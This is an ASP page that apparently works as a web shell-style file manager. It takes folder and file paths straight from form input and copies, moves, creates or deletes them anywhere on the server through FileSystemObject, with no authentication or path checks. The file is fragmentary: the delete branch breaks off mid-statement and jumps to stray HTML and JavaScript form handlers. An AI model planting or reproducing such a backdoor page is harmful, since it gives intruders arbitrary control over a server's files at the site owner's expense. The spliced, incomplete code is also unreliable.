<% dim fromdir dim todir dim fromfile dim tofile dim fromfolder dim tofolder dim command1 dim tempvar dim fs set fs =server.CreateObject("Scripting.FileSystemObject")
tempvar = cstr(fs.GetFile(server.mappath("default.html")).parentfolder ) if instr("/",tempvar)<>0 then fromdir =tempvar +"/" else fromdir =tempvar +"\" end if
if request.form("copyfolder") ="ok" then fromdir=request.form("fromdir") todir =request.form("todir") if todir =fromdir then Response.Write "Can't copy folder to the same folder!" else fs.copyfolder fromdir,todir,true end if end if if request.form("movefolder") ="ok" then fromdir=request.form("fromdir") todir =request.form("todir") if todir =fromdir then Response.Write "Can't move folder to the same folder !" else
fs.movefolder fromdir,todir end if end if
if request.form("copyfile") ="ok" then fromfile=request.form("fromfile") tofile =request.form("tofile") if tofile =fromfile then Response.Write "Can't copy file to the same file !" else fs.copyfile fromfile,tofile,true end if end if
if request.form("movefile") ="ok" then fromfile=request.form("fromfile") tofile =request.form("tofile") if tofile =fromfile then Response.Write "Can't move file to the same file !" else fs.movefile fromfile,tofile end if end if
if request.form("createfolder") ="ok" then tofolder =request.form("dir") fs.createfolder tofolder
end if
if request.form("deletefolder") ="ok" then
tofolder=request.form("dir") tt= fs.GetFile(server.mappath("default.html")).parentfolder if tofolder =tt or tofolder = tt +"\" or tofolder =tt +"/" then Response.Write ("Best not delete itself") else
<p>Go Back </a> <SCRIPT Language="JavaScript"> function Ok_OnClick(form){ form.copyfolder.value="ok"; form.submit(); } function Ok1_OnClick(form){ form.movefolder.value="ok"; form.submit(); } function Ok2_OnClick(form){ form.copyfile.value="ok"; form.submit(); } function Ok3_OnClick(form){ form.movefile.value="ok"; form.submit(); } function Ok4_OnClick(form){ form.createfolder.value="ok"; form.submit(); } function Ok5_OnClick(form){ form.deletefolder.value="ok"; form.submit(); }